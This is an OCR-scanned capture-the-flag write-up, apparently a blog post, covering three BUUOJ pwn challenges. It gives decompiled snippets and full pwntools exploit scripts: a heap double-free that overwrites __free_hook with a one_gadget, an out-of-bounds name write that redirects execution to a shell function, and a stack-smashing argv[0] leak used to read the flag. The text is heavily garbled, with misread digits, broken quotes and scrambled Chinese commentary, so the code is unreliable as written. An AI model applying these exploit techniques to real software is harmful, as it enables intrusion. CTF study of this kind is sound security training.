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Stack:
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1 junsigned _ int64 call()
2
3| int v1; // [rsp+4h] [rbp-Ch] BYREF
4| unsigned _ int64 v2; // [rsp+8h] [rbp-8h]
5
6 vZ2 = _ readfsqword(®x28u);
71 puts("Please input the index:");
S 1rhr00 rr:nn-l:l""nf-‘“ 9""\-
9| |if ( *(( OhCRD )&heap addr + vl) )
4] free(**((void ***)&heap_addr + v1));
1] |puts{"You try it!l");
2| |puts("Done");
3| |return _ readfsqword(@x28u) ™~ vZ;
41}
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one_gadget |,
exp:

from pwn import *
from LibcSearcher import *

local_file './es_1'
local_libc = './libc-2.27.so0’
'./1ibc-2.27.s0"

remote_libc

context.terminal = ['tmux', 'splitw', '-h']
context.log level = 'debug'

e = ELF(local_file)

context.arch = e.arch

select = 1
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote( 'node4.buuoj.cn',28724)
libc = ELF(remote_libc)

se = lambda data :r.send(data)

sa = lambda delim,data :r.sendafter(delim, data)

sl = lambda data :r.sendline(data)

sla = lambda delim,data :r.sendlineafter(delim, data)

sea = lambda delim,data :r.sendafter(delim, data)

rc = lambda numb=4096 :r.recv(numb)

rl = lambda :r.recvline()

ru = lambda delims :r.recvuntil(delims)

uu32 = lambda data :u32(ru(data)[-4:].1just(4, b'\x00'))
uuesd = lambda data :ub4(ru(data)[-6:].1just(8, b'\x00"'))
info_addr = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))

r.timeout = 1

def one_gadget(filename):
return map(int, subprocess.check_output([b'one_gadget', b'--raw', filename]).split(b’

def dbg(cmd=""):
gdb.attach(r,cmd)

bss_addr = 0x4080

def add(size,name,call):
ru(b"choice:")
sl(b'1")
ru(b'name")
sl(str(size).encode())
ru(b'name: ")
se(name)
ru(b"compary call:")
se(call)##Oxc
ru(b"Done!")

def show(index):
ru(b"choice:")
sl(b'2")
ru(b"index:")
sl(str(index).encode())
# ru(b"Done!")

)



def delete(index):
ru(b"choice:")
s1(b'3")
ru(b"index:")
sl(str(index).encode())
# ru(b"Done!")

add(@x410,b";/bin/sh\xe0',b'1"') #0
add(@x18,b";/bin/sh\x@0"',b'2") #1
add(@x18,b";/bin/sh\x@0',b'2"') #2
delete(9)

show(0)

ru(b'name:\n")

base = u64(rc(6).1just(8,b'\x00"')) - Ox3ebcad
sys = base + libc.sym['system']
success("libc_addr:" + hex(base))
success("sys_addr: " + hex(sys))

# gadget = Ox4f2c5 0x4f322 0x10a38c

shell = base + 0x4f322

free_hook = base + libc.sym['__free_hook']
delete(1)

delete(1)

add(0x10, p64(free_hook),b'\x00")
add(0x10,p64(shell),b'\x00")

delete(9)

r.interactive()

wustctf2020_name_your_cat:

?}ﬁ:ljﬂﬂ):li:
MEERHS,, " ULE S Aret_addr
it
int i; // [esp+Ch] [ebp-3Ch]
int v2; // [esp+18h] [ebp-38h]
[ char v3[d®], // [esp+14h] [ebp-34h] BYREF |
unsigned int v4; // [esp+3Ch] [ebp-Ch]
vl = _ readgsdword(@x14u);
puts("I bought you five famale cats.Name for them?");
'FOI"(i::I._; i<=5_; ++i)
I
| v2 = NameWhich(v3);]
printf("You get %d cat!!!!!!\nlemonlemonlemonlemonlemonlemonlemon55555554n™, 1i);
printf("Her name is:%s\n\n", &v3[8 * v2]);

int cdecl NameWhich(int al)

{
int v2[4]; // [esp+18h] [ebp-18h] BYREF

v2[1] = _ readgsdword(@x14u);
printf("Name for which?\n>");
_is50c99 scanf("%d", v2);
printf("Give your name_plz: ")
__1s50c99 scanf("%7s"| 8 * v2[0] + a1}
return v2[@];




exp:

HIRBN, BEHEH, iR [Hshell

from pwn import *
p=remote("node4.buuoj.cn",28477)
#tp=process('./wustctf2020_name_your_cat"')
elf=ELF('./wustctf2020_name_your_cat')

shell_addr=0x80485cb

p.sendlineafter('Name for which?\n>','1")
p.sendlineafter("Give your name plz: ",'A")

p.sendlineafter('Name for which?\n>','2")
p.sendlineafter("Give your name plz: ",'B")

p.sendlineafter('Name for which?\n>','3")
p.sendlineafter("Give your name plz: ",'C")

p.sendlineafter('Name for which?\n>','4")
p.sendlineafter("Give your name plz: ",'D")

p.sendlineafter('Name for which?\n>','7")
p.sendlineafter("Give your name plz: ",p32(shell_addr))

p.interactive()

wdb2018_guess:

?}I—?:ﬁ ?[ﬂ /I:li H

gets bR HUrF7E T -
puts("Please type vour guessing flag");
gets(=2);
if ( !strcmp(buf, s2) )
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AW, HKElargv[OIFF A SR, A5 1Eargv[O]ffE, & H T &E B#ES H, BTN ZHlibeh g,
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exp:



#coding:utf-8

from pwn import *

from LibcSearcher import *

context.log level = 'debug'

p = remote('node4.buuoj.cn',29203)

e = ELF("./guess")

p.timeout = 0.5

p.recvuntil(b"Please type your guessing flag")
pll = b'a'*(0x128) + p64(e.got['puts'])
p.sendline(pll)

p.recvuntil(b'stack smashing detected ***: ")
puts_addr = u64(p.recvuntil(b'\x7f"')[-6:].1just(8,b'\x00"'))

libc = LibcSearcher("puts",puts_addr)

base = puts_addr - libc.dump("puts")
print(hex(base))

environ_addr = base + libc.dump('__environ')

pl2 = b"a"*(0x128) + p64(environ_addr)
p.recvuntil(b"Please type your guessing flag")
p.sendline(pl2)

p.recvuntil(b'stack smashing detected ***: ')
flag_addr = u64(p.recv(6).ljust(8,b'\x00')) - Ox168

pl3 = b'a'*(0x128) + p64(flag_addr)
p.recvuntil(b'stack smashing detected ***: ")

p.sendline(pl3)

p.interactive()
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